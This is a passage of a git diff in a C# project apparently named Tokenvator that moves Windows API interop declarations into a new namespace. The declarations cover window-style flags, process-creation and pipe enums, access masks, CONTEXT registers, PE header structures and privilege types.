WS_BORDER = 0x00800000L, + WS_CAPTION = 0x00C00000L, + WS_CHILDWINDOW = 0x40000000L, + WS_CLIPCHILDREN = 0x02000000L, + WS_CLIPSIBLINGS = 0x04000000L, + WS_DISABLED = 0x08000000L, + WS_DLGFRAME = 0x00400000L, + WS_GROUP = 0x00020000L, + WS_HSCROLL = 0x00100000L, + WS_ICONIC = 0x20000000L, + WS_MAXIMIZE = 0x01000000L, + WS_MAXIMIZEBOX = 0x00010000L, + WS_MINIMIZE = 0x20000000L, + WS_MINIMIZEBOX = 0x00020000L, + WS_OVERLAPPED = 0x00000000L, + WS_OVERLAPPEDWINDOW = (WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX), + WS_POPUP = 0x80000000L, + WS_POPUPWINDOW = (WS_POPUP | WS_BORDER | WS_SYSMENU), + WS_SIZEBOX = 0x00040000L, + WS_SYSMENU = 0x00080000L, + WS_TABSTOP = 0x00010000L, + WS_THICKFRAME = 0x00040000L, + WS_TILED = 0x00000000L, + WS_TILEDWINDOW = (WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX), + WS_VISIBLE = 0x10000000L, + WS_VSCROLL = 0x00200000L + } + + [Flags] + public enum WindowStylesEx : long + { + WS_EX_ACCEPTFILES = 0x00000010L, + WS_EX_APPWINDOW = 0x00040000L, + WS_EX_CLIENTEDGE = 0x00000200L, + WS_EX_COMPOSITED = 0x02000000L, + WS_EX_CONTEXTHELP = 0x00000400L, + WS_EX_CONTROLPARENT = 0x00010000L, + WS_EX_DLGMODALFRAME = 0x00000001L, + WS_EX_LAYERED = 0x00080000, + WS_EX_LAYOUTRTL = 0x00400000L, + WS_EX_LEFT = 0x00000000L, + WS_EX_LEFTSCROLLBAR = 0x00004000L, + WS_EX_LTRREADING = 0x00000000L, + WS_EX_MDICHILD = 0x00000040L, + WS_EX_NOACTIVATE = 0x08000000L, + WS_EX_NOINHERITLAYOUT = 0x00100000L, + WS_EX_NOPARENTNOTIFY = 0x00000004L, + WS_EX_NOREDIRECTIONBITMAP = 0x00200000L, + WS_EX_OVERLAPPEDWINDOW = (WS_EX_WINDOWEDGE | WS_EX_CLIENTEDGE), + WS_EX_PALETTEWINDOW = (WS_EX_WINDOWEDGE | WS_EX_TOOLWINDOW | WS_EX_TOPMOST), + WS_EX_RIGHT = 0x00001000L, + WS_EX_RIGHTSCROLLBAR = 0x00000000L, + WS_EX_RTLREADING = 0x00002000L, + WS_EX_STATICEDGE = 0x00020000L, + WS_EX_TOOLWINDOW = 0x00000080L, + WS_EX_TOPMOST = 0x00000008L, + WS_EX_TRANSPARENT = 0x00000020L, + WS_EX_WINDOWEDGE = 0x00000100L + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct WNDCLASSEX + { + [MarshalAs(UnmanagedType.U4)] + public UInt32 cbSize; + [MarshalAs(UnmanagedType.U4)] + public UInt32 style; + public IntPtr lpfnWndProc; // not WndProc + public Int32 cbClsExtra; + public Int32 cbWndExtra; + public IntPtr hInstance; + public IntPtr hIcon; + public IntPtr hCursor; + public IntPtr hbrBackground; + public String lpszMenuName; + public String lpszClassName; + public IntPtr hIconSm; + + public static WNDCLASSEX Build() + { + var nw = new WNDCLASSEX(); + nw.cbSize = (UInt32)Marshal.SizeOf(typeof(WNDCLASSEX)); + return nw; + } + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/ntsecapi.cs b/Tokenvator/Resources/Unmanaged/Headers/ntsecapi.cs index b6088cf..e22cc7f 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/ntsecapi.cs +++ b/Tokenvator/Resources/Unmanaged/Headers/ntsecapi.cs @@ -17,7 +17,7 @@ using SIZE_T = System.IntPtr; using PWSTR = System.IntPtr; -namespace Tokenvator +namespace Unmanaged.Headers { class ntsecapi { @@ -41,7 +41,7 @@ public struct _LSA_LAST_INTER_LOGON_INFO public struct _SECURITY_LOGON_SESSION_DATA { public ULONG Size; - public Structs._LUID LogonId; + public Winnt._LUID LogonId; public _LSA_UNICODE_STRING UserName; public _LSA_UNICODE_STRING LogonDomain; public _LSA_UNICODE_STRING AuthenticationPackage; diff --git a/Tokenvator/Resources/Unmanaged/Headers/winbase.cs b/Tokenvator/Resources/Unmanaged/Headers/winbase.cs index c2b3118..ec09607 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/winbase.cs +++ b/Tokenvator/Resources/Unmanaged/Headers/winbase.cs @@ -1,4 +1,7 @@ -using System.Runtime.InteropServices; +using System; +using System.Runtime.InteropServices; + +using BOOL = System.Boolean; using WORD = System.UInt16; using DWORD = System.UInt32; @@ -7,14 +10,115 @@ using LPVOID = System.IntPtr; using DWORD_PTR = System.IntPtr; -namespace Tokenvator +namespace Unmanaged.Headers { - public class Winbase + sealed class Winbase { + //https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx + [Flags] + public enum CREATION_FLAGS : uint + { + NONE = 0x0, + CREATE_DEFAULT_ERROR_MODE = 0x04000000, + CREATE_NEW_CONSOLE = 0x00000010, + CREATE_NEW_PROCESS_GROUP = 0x00000200, + CREATE_SEPARATE_WOW_VDM = 0x00000800, + CREATE_SUSPENDED = 0x00000004, + CREATE_UNICODE_ENVIRONMENT = 0x00000400, + EXTENDED_STARTUPINFO_PRESENT = 0x00080000 + } + + [Flags] + public enum INFO_PROCESSOR_ARCHITECTURE : ushort + { + PROCESSOR_ARCHITECTURE_INTEL = 0, + PROCESSOR_ARCHITECTURE_ARM = 5, + PROCESSOR_ARCHITECTURE_IA64 = 6, + PROCESSOR_ARCHITECTURE_AMD64 = 9, + PROCESSOR_ARCHITECTURE_ARM64 = 12, + PROCESSOR_ARCHITECTURE_UNKNOWN = 0xffff + } + + [Flags] + public enum OPEN_MODE : uint + { + PIPE_ACCESS_INBOUND = 0x00000001, + PIPE_ACCESS_OUTBOUND = 0x00000002, + PIPE_ACCESS_DUPLEX = 0x00000003, + WRITE_DAC = 0x00040000, + WRITE_OWNER = 0x00080000, + FILE_FLAG_FIRST_PIPE_INSTANCE = 0x00080000, + ACCESS_SYSTEM_SECURITY = 0x01000000, + FILE_FLAG_OVERLAPPED = 0x40000000, + FILE_FLAG_WRITE_THROUGH = 0x80000000 + } + + [Flags] + public enum PIPE_MODE : uint + { + PIPE_TYPE_BYTE = 0x00000000, + PIPE_TYPE_MESSAGE = 0x00000004, + PIPE_READMODE_BYTE = 0x00000000, + PIPE_READMODE_MESSAGE = 0x00000002, + PIPE_WAIT = 0x00000000, + PIPE_NOWAIT = 0x00000001, + PIPE_ACCEPT_REMOTE_CLIENTS = 0x00000000, + PIPE_REJECT_REMOTE_CLIENTS = 0x00000008 + } + + //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx + [StructLayout(LayoutKind.Sequential)] + public struct _PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public UInt32 dwProcessId; + public UInt32 dwThreadId; + }; + + [StructLayout(LayoutKind.Sequential)] + public struct _SECURITY_ATTRIBUTES + { + public DWORD nLength; + public LPVOID lpSecurityDescriptor; + public BOOL bInheritHandle; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _STARTUPINFO + { + public UInt32 cb; + public String lpReserved; + public String lpDesktop; + public String lpTitle; + public UInt32 dwX; + public UInt32 dwY; + public UInt32 dwXSize; + public UInt32 dwYSize; + public UInt32 dwXCountChars; + public UInt32 dwYCountChars; + public UInt32 dwFillAttribute; + public UInt32 dwFlags; + public UInt16 wShowWindow; + public UInt16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + }; + + //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx + [StructLayout(LayoutKind.Sequential)] + public struct _STARTUPINFOEX + { + _STARTUPINFO StartupInfo; + // PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; + }; + [StructLayout(LayoutKind.Sequential)] - internal struct _SYSTEM_INFO + public struct _SYSTEM_INFO { - public WORD wProcessorArchitecture; + public INFO_PROCESSOR_ARCHITECTURE wProcessorArchitecture; public WORD wReserved; public DWORD dwPageSize; public LPVOID lpMinimumApplicationAddress; diff --git a/Tokenvator/Resources/Unmanaged/Headers/wincrypt.cs b/Tokenvator/Resources/Unmanaged/Headers/wincrypt.cs index ee686ff..648bf2a 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/wincrypt.cs +++ b/Tokenvator/Resources/Unmanaged/Headers/wincrypt.cs @@ -14,24 +14,24 @@ using DWORD_PTR = System.IntPtr; using SIZE_T = System.IntPtr; -namespace Tokenvator +namespace Unmanaged.Headers { - public class Wincrypt + sealed class Wincrypt { [StructLayout(LayoutKind.Sequential)] - internal struct _CRYPTOAPI_BLOB + public struct _CRYPTOAPI_BLOB { public DWORD cbData; public BYTE pbData; } [StructLayout(LayoutKind.Sequential)] - internal struct _CRYPTPROTECT_PROMPTSTRUCT + public struct _CRYPTPROTECT_PROMPTSTRUCT { - public DWORD cbSize; - public DWORD dwPromptFlags; - public HWND hwndApp; - public LPCWSTR szPrompt; + public DWORD cbSize; + public DWORD dwPromptFlags; + public HWND hwndApp; + public LPCWSTR szPrompt; } } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/winnt.cs b/Tokenvator/Resources/Unmanaged/Headers/winnt.cs index 3acd175..fa80ee2 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/winnt.cs +++ b/Tokenvator/Resources/Unmanaged/Headers/winnt.cs @@ -1,6 +1,8 @@ -using System.Runtime.InteropServices; +using System; +using System.Runtime.InteropServices; using WORD = System.UInt16; +using LONG = System.UInt32; using DWORD = System.UInt32; using QWORD = System.UInt64; using ULONGLONG = System.UInt64; @@ -11,43 +13,512 @@ using DWORD_PTR = System.IntPtr; using SIZE_T = System.IntPtr; -namespace Tokenvator +namespace Unmanaged.Headers { - public class Winnt + sealed class Winnt { - //////////////////////////////////////////////////////////////////////////////// + private const DWORD EXCEPTION_MAXIMUM_PARAMETERS = 15; + + [Flags] // https://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx - //////////////////////////////////////////////////////////////////////////////// - public const DWORD PAGE_NOACCESS = 0x01; - public const DWORD PAGE_READONLY = 0x02; - public const DWORD PAGE_READWRITE = 0x04; - public const DWORD PAGE_WRITECOPY = 0x08; - public const DWORD PAGE_EXECUTE = 0x10; - public const DWORD PAGE_EXECUTE_READ = 0x20; - public const DWORD PAGE_EXECUTE_READWRITE = 0x40; - public const DWORD PAGE_EXECUTE_WRITECOPY = 0x80; - public const DWORD PAGE_GUARD = 0x100; - public const DWORD PAGE_NOCACHE = 0x200; - public const DWORD PAGE_WRITECOMBINE = 0x400; - public const DWORD PAGE_TARGETS_INVALID = 0x40000000; - public const DWORD PAGE_TARGETS_NO_UPDATE = 0x40000000; - - internal enum _SECURITY_IMPERSONATION_LEVEL - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation - } - - internal enum TOKEN_TYPE + public enum MEMORY_PROTECTION_CONSTANTS : uint { - TokenPrimary = 1, - TokenImpersonation + PAGE_NOACCESS = 0x01, + PAGE_READONLY = 0x02, + PAGE_READWRITE = 0x04, + PAGE_WRITECOPY = 0x08, + PAGE_EXECUTE = 0x10, + PAGE_EXECUTE_READ = 0x20, + PAGE_EXECUTE_READWRITE = 0x40, + PAGE_EXECUTE_WRITECOPY = 0x80, + PAGE_GUARD = 0x100, + PAGE_NOCACHE = 0x200, + PAGE_WRITECOMBINE = 0x400, + PAGE_TARGETS_INVALID = 0x40000000, + PAGE_TARGETS_NO_UPDATE = 0x40000000 + } + + [Flags] + public enum ACCESS_MASK : uint + { + DELETE = 0x00010000, + READ_CONTROL = 0x00020000, + WRITE_DAC = 0x00040000, + WRITE_OWNER = 0x00080000, + SYNCHRONIZE = 0x00100000, + STANDARD_RIGHTS_REQUIRED = 0x000F0000, + STANDARD_RIGHTS_READ = 0x00020000, + STANDARD_RIGHTS_WRITE = 0x00020000, + STANDARD_RIGHTS_EXECUTE = 0x00020000, + STANDARD_RIGHTS_ALL = 0x001F0000, + SPECIFIC_RIGHTS_ALL = 0x0000FFF, + ACCESS_SYSTEM_SECURITY = 0x01000000, + MAXIMUM_ALLOWED = 0x02000000, + GENERIC_READ = 0x80000000, + GENERIC_WRITE = 0x40000000, + GENERIC_EXECUTE = 0x20000000, + GENERIC_ALL = 0x10000000, + DESKTOP_READOBJECTS = 0x00000001, + DESKTOP_CREATEWINDOW = 0x00000002, + DESKTOP_CREATEMENU = 0x00000004, + DESKTOP_HOOKCONTROL = 0x00000008, + DESKTOP_JOURNALRECORD = 0x00000010, + DESKTOP_JOURNALPLAYBACK = 0x00000020, + DESKTOP_ENUMERATE = 0x00000040, + DESKTOP_WRITEOBJECTS = 0x00000080, + DESKTOP_SWITCHDESKTOP = 0x00000100, + WINSTA_ENUMDESKTOPS = 0x00000001, + WINSTA_READATTRIBUTES = 0x00000002, + WINSTA_ACCESSCLIPBOARD = 0x00000004, + WINSTA_CREATEDESKTOP = 0x00000008, + WINSTA_WRITEATTRIBUTES = 0x00000010, + WINSTA_ACCESSGLOBALATOMS = 0x00000020, + WINSTA_EXITWINDOWS = 0x00000040, + WINSTA_ENUMERATE = 0x00000100, + WINSTA_READSCREEN = 0x00000200, + WINSTA_ALL_ACCESS = 0x0000037F + }; + + [StructLayout(LayoutKind.Sequential)] + public struct CONTEXT + { + public CONTEXT_FLAGS ContextFlags; //set this to an appropriate value + // Retrieved by CONTEXT_DEBUG_REGISTERS + public uint Dr0; + public uint Dr1; + public uint Dr2; + public uint Dr3; + public uint Dr6; + public uint Dr7; + // Retrieved by CONTEXT_FLOATING_POINT + public _FLOATING_SAVE_AREA FloatSave; + // Retrieved by CONTEXT_SEGMENTS + public uint SegGs; + public uint SegFs; + public uint SegEs; + public uint SegDs; + // Retrieved by CONTEXT_INTEGER + public uint Edi; + public uint Esi; + public uint Ebx; + public uint Edx; + public uint Ecx; + public uint Eax; + // Retrieved by CONTEXT_CONTROL + public uint Ebp; + public uint Eip; + public uint SegCs; + public uint EFlags; + public uint Esp; + public uint SegSs; + // Retrieved by CONTEXT_EXTENDED_REGISTERS + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] + public byte[] ExtendedRegisters; + } + + [StructLayout(LayoutKind.Sequential)] + public struct CONTEXT64 + { + public ulong P1Home; + public ulong P2Home; + public ulong P3Home; + public ulong P4Home; + public ulong P5Home; + public ulong P6Home; + + public CONTEXT_FLAGS64 ContextFlags; + public uint MxCsr; + + public ushort SegCs; + public ushort SegDs; + public ushort SegEs; + public ushort SegFs; + public ushort SegGs; + public ushort SegSs; + public uint EFlags; + + public ulong Dr0; + public ulong Dr1; + public ulong Dr2; + public ulong Dr3; + public ulong Dr6; + public ulong Dr7; + + public ulong Rax; + public ulong Rcx; + public ulong Rdx; + public ulong Rbx; + public ulong Rsp; + public ulong Rbp; + public ulong Rsi; + public ulong Rdi; + public ulong R8; + public ulong R9; + public ulong R10; + public ulong R11; + public ulong R12; + public ulong R13; + public ulong R14; + public ulong R15; + + public ulong Rip; + + public _XMM_SAVE_AREA32 FltSave; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] + public _M128A[] VectorRegister; + public ulong VectorControl; + + public ulong DebugControl; + public ulong LastBranchToRip; + public ulong LastBranchFromRip; + public ulong LastExceptionToRip; + public ulong LastExceptionFromRip; + } + + [Flags] + public enum CONTEXT_FLAGS : uint + { + CONTEXT_i386 = 0x10000, + CONTEXT_i486 = 0x10000, // same as i386 + CONTEXT_CONTROL = CONTEXT_i386 | 0x0001, // SS:SP, CS:IP, FLAGS, BP + CONTEXT_INTEGER = CONTEXT_i386 | 0x0002, // AX, BX, CX, DX, SI, DI + CONTEXT_SEGMENTS = CONTEXT_i386 | 0x0004, // DS, ES, FS, GS + CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x0008, // 387 state + CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x0010, // DB 0-3,6,7 + CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x0020, // cpu specific extensions + CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, + CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS + } + + [Flags] + public enum CONTEXT_FLAGS64 : uint + { + CONTEXT_AMD64 = 0x100000, + CONTEXT_CONTROL = CONTEXT_AMD64 | 0x01, // SS:SP, CS:IP, FLAGS, BP + CONTEXT_INTEGER = CONTEXT_AMD64 | 0x02, // AX, BX, CX, DX, SI, DI + CONTEXT_SEGMENTS = CONTEXT_AMD64 | 0x04, // DS, ES, FS, GS + CONTEXT_FLOATING_POINT = CONTEXT_AMD64 | 0x08, // 387 state + CONTEXT_DEBUG_REGISTERS = CONTEXT_AMD64 | 0x10, // DB 0-3,6,7 + CONTEXT_EXTENDED_REGISTERS = CONTEXT_AMD64 | 0x20, // cpu specific extensions + CONTEXT_FULL = 1048587,//CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, + CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS + } + + [StructLayout(LayoutKind.Sequential)] + public struct _EXCEPTION_POINTERS + { + public System.IntPtr ExceptionRecord; + public System.IntPtr ContextRecord; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _EXCEPTION_RECORD + { + public DWORD ExceptionCode; + public DWORD ExceptionFlags; + public System.IntPtr hExceptionRecord; + public PVOID ExceptionAddress; + public DWORD NumberParameters; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 15)] + public DWORD[] ExceptionInformation; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _FLOATING_SAVE_AREA + { + public DWORD ControlWord; + public DWORD StatusWord; + public DWORD TagWord; + public DWORD ErrorOffset; + public DWORD ErrorSelector; + public DWORD DataOffset; + public DWORD DataSelector; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] + public byte[] RegisterArea; + public DWORD Cr0NpxState; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _IMAGE_BASE_RELOCATION + { + public DWORD VirtualAdress; + public DWORD SizeOfBlock; + } + + [Flags] + public enum TypeOffset : ushort + { + IMAGE_REL_BASED_ABSOLUTE = 0, + IMAGE_REL_BASED_HIGH = 1, + IMAGE_REL_BASED_LOW = 2, + IMAGE_REL_BASED_HIGHLOW = 3, + IMAGE_REL_BASED_HIGHADJ = 4, + IMAGE_REL_BASED_MIPS_JMPADDR = 5, + IMAGE_REL_BASED_ARM_MOV32A = 5, + IMAGE_REL_BASED_ARM_MOV32 = 5, + IMAGE_REL_BASED_SECTION = 6, + IMAGE_REL_BASED_REL = 7, + IMAGE_REL_BASED_ARM_MOV32T = 7, + IMAGE_REL_BASED_THUMB_MOV32 = 7, + IMAGE_REL_BASED_MIPS_JMPADDR16 = 9, + IMAGE_REL_BASED_IA64_IMM64 = 9, + IMAGE_REL_BASED_DIR64 = 10, + IMAGE_REL_BASED_HIGH3ADJ = 11 + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _IMAGE_DATA_DIRECTORY + { + public DWORD VirtualAddress; + public DWORD Size; + }; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //https://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html + public struct _IMAGE_DOS_HEADER + { + public WORD e_magic; + public WORD e_cblp; + public WORD e_cp; + public WORD e_crlc; + public WORD e_cparhdr; + public WORD e_minalloc; + public WORD e_maxalloc; + public WORD e_ss; + public WORD e_sp; + public WORD e_csum; + public WORD e_ip; + public WORD e_cs; + public WORD e_lfarlc; + public WORD e_ovno; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] + public WORD[] e_res; + public WORD e_oemid; + public WORD e_oeminfo; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] + public WORD[] e_res2; + public LONG e_lfanew; + }; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_image_nt_headers + public struct _IMAGE_NT_HEADERS + { + public DWORD Signature; + public _IMAGE_FILE_HEADER FileHeader; + public _IMAGE_OPTIONAL_HEADER OptionalHeader; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _IMAGE_NT_HEADERS64 + { + public DWORD Signature; + public _IMAGE_FILE_HEADER FileHeader; + public _IMAGE_OPTIONAL_HEADER64 OptionalHeader; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_image_file_header + public struct _IMAGE_FILE_HEADER + { + public IMAGE_FILE_MACHINE Machine; + public WORD NumberOfSections; + public DWORD TimeDateStamp; + public DWORD PointerToSymbolTable; + public DWORD NumberOfSymbols; + public WORD SizeOfOptionalHeader; + public CHARACTERISTICS Characteristics; + } + + [Flags] + public enum IMAGE_FILE_MACHINE : ushort + { + IMAGE_FILE_MACHINE_I386 = 0x014c, + IMAGE_FILE_MACHINE_IA64 = 0x0200, + IMAGE_FILE_MACHINE_AMD64 = 0x8664, + } + + [Flags] + public enum CHARACTERISTICS : ushort + { + IMAGE_FILE_RELOCS_STRIPPED = 0x0001, + IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002, + IMAGE_FILE_LINE_NUMS_STRIPPED = 0x0004, + IMAGE_FILE_LOCAL_SYMS_STRIPPED = 0x0008, + IMAGE_FILE_AGGRESIVE_WS_TRIM = 0x0010, + IMAGE_FILE_LARGE_ADDRESS_AWARE = 0x0020, + IMAGE_FILE_BYTES_REVERSED_LO = 0x0080, + IMAGE_FILE_32BIT_MACHINE = 0x0100, + IMAGE_FILE_DEBUG_STRIPPED = 0x0200, + IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP = 0x0400, + IMAGE_FILE_NET_RUN_FROM_SWAP = 0x0800, + IMAGE_FILE_SYSTEM = 0x1000, + IMAGE_FILE_DLL = 0x2000, + IMAGE_FILE_UP_SYSTEM_ONLY = 0x4000, + IMAGE_FILE_BYTES_REVERSED_HI = 0x8000 + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_image_optional_header + public struct _IMAGE_OPTIONAL_HEADER + { + public MAGIC Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public DWORD SizeOfCode; + public DWORD SizeOfInitializedData; + public DWORD SizeOfUninitializedData; + public DWORD AddressOfEntryPoint; + public DWORD BaseOfCode; + public DWORD BaseOfData; + public DWORD ImageBase; + public DWORD SectionAlignment; + public DWORD FileAlignment; + public WORD MajorOperatingSystemVersion; + public WORD MinorOperatingSystemVersion; + public WORD MajorImageVersion; + public WORD MinorImageVersion; + public WORD MajorSubsystemVersion; + public WORD MinorSubsystemVersion; + public DWORD Win32VersionValue; + public DWORD SizeOfImage; + public DWORD SizeOfHeaders; + public DWORD CheckSum; + public SUBSYSTEM Subsystem; + public DLL_CHARACTERISTICS DllCharacteristics; + public DWORD SizeOfStackReserve; + public DWORD SizeOfStackCommit; + public DWORD SizeOfHeapReserve; + public DWORD SizeOfHeapCommit; + public DWORD LoaderFlags; + public DWORD NumberOfRvaAndSizes; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public Winnt._IMAGE_DATA_DIRECTORY[] ImageDataDirectory; + }; + + //https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_image_optional_header + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _IMAGE_OPTIONAL_HEADER64 + { + public MAGIC Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public DWORD SizeOfCode; + public DWORD SizeOfInitializedData; + public DWORD SizeOfUninitializedData; + public DWORD AddressOfEntryPoint; + public DWORD BaseOfCode; + public ULONGLONG ImageBase; + public DWORD SectionAlignment; + public DWORD FileAlignment; + public WORD MajorOperatingSystemVersion; + public WORD MinorOperatingSystemVersion; + public WORD MajorImageVersion; + public WORD MinorImageVersion; + public WORD MajorSubsystemVersion; + public WORD MinorSubsystemVersion; + public DWORD Win32VersionValue; + public DWORD SizeOfImage; + public DWORD SizeOfHeaders; + public DWORD CheckSum; + public SUBSYSTEM Subsystem; + public DLL_CHARACTERISTICS DllCharacteristics; + public ULONGLONG SizeOfStackReserve; + public ULONGLONG SizeOfStackCommit; + public ULONGLONG SizeOfHeapReserve; + public ULONGLONG SizeOfHeapCommit; + public DWORD LoaderFlags; + public DWORD NumberOfRvaAndSizes; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public Winnt._IMAGE_DATA_DIRECTORY[] ImageDataDirectory; + }; + + [Flags] + public enum MAGIC : ushort + { + IMAGE_NT_OPTIONAL_HDR_MAGIC = 0x00, + IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b, + IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b, + IMAGE_ROM_OPTIONAL_HDR_MAGIC = 0x107 + } + + [Flags] + public enum SUBSYSTEM : ushort + { + //IMAGE_SUBSYSTEM_UNKNOWN = 0, + IMAGE_SUBSYSTEM_NATIVE = 1, + IMAGE_SUBSYSTEM_WINDOWS_GUI = 2, + IMAGE_SUBSYSTEM_WINDOWS_CUI = 3, + IMAGE_SUBSYSTEM_OS2_CUI = 5, + IMAGE_SUBSYSTEM_POSIX_CUI = 7, + IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9, + IMAGE_SUBSYSTEM_EFI_APPLICATION = 10, + IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11, + IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12, + IMAGE_SUBSYSTEM_EFI_ROM = 13, + IMAGE_SUBSYSTEM_XBOX = 14, + IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION = 16 + } + + [Flags] + public enum DLL_CHARACTERISTICS : ushort + { + Reserved1 = 0x0001, + Reserved2 = 0x0002, + Reserved4 = 0x0004, + Reserved8 = 0x0008, + IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x0040, + IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY = 0x0080, + IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x0100, + IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200, + IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400, + IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800, + Reserved1000 = 0x1000, + IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000, + Reserved4000 = 0x4000, + IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000 + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _IMAGE_SECTION_HEADER + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public Char[] Name; + public DWORD VirtualSize; + public DWORD VirtualAddress; + public DWORD SizeOfRawData; + public DWORD PointerToRawData; + public DWORD PointerToRelocations; + public DWORD PointerToLinenumbers; + public WORD NumberOfRelocations; + public WORD NumberOfLinenumbers; + public DWORD Characteristics; + }; + + [StructLayout(LayoutKind.Sequential)] + public struct _LUID + { + public DWORD LowPart; + public DWORD HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _LUID_AND_ATTRIBUTES + { + public _LUID Luid; + public DWORD Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _M128A + { + public UInt64 High; + public Int64 Low; } [StructLayout(LayoutKind.Sequential)] - internal struct _MEMORY_BASIC_INFORMATION32 + public struct _MEMORY_BASIC_INFORMATION { public DWORD BaseAddress; public DWORD AllocationBase; @@ -59,7 +530,7 @@ internal struct _MEMORY_BASIC_INFORMATION32 } [StructLayout(LayoutKind.Sequential)] - internal struct _MEMORY_BASIC_INFORMATION64 + public struct _MEMORY_BASIC_INFORMATION64 { public ULONGLONG BaseAddress; public ULONGLONG AllocationBase; @@ -67,16 +538,153 @@ internal struct _MEMORY_BASIC_INFORMATION64 public DWORD __alignment1; public ULONGLONG RegionSize; public DWORD State; - public DWORD Protect; + public MEMORY_PROTECTION_CONSTANTS Protect; public DWORD Type; public DWORD __alignment2; } + //https://msdn.microsoft.com/en-us/library/ms809762.aspx + [StructLayout(LayoutKind.Sequential, Pack = 1)] + internal struct _IMAGE_IMPORT_DESCRIPTOR + { + public DWORD Characteristics; + public DWORD TimeDateStamp; + public DWORD ForwarderChain; + public DWORD Name; + public DWORD FirstThunk; + } + + public const Int32 PRIVILEGE_SET_ALL_NECESSARY = 1; + + private const Int32 ANYSIZE_ARRAY = 1; + [StructLayout(LayoutKind.Sequential)] + public struct _PRIVILEGE_SET + { + public UInt32 PrivilegeCount; + public UInt32 Control; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = ANYSIZE_ARRAY)] + public _LUID_AND_ATTRIBUTES[] Privilege; + } + + + [StructLayout(LayoutKind.Sequential)] + public struct _SID_AND_ATTRIBUTES + { + public IntPtr Sid; + public UInt32 Attributes; + } + + [Flags] + public enum _SECURITY_IMPERSONATION_LEVEL : int + { + SecurityAnonymous = 0, + 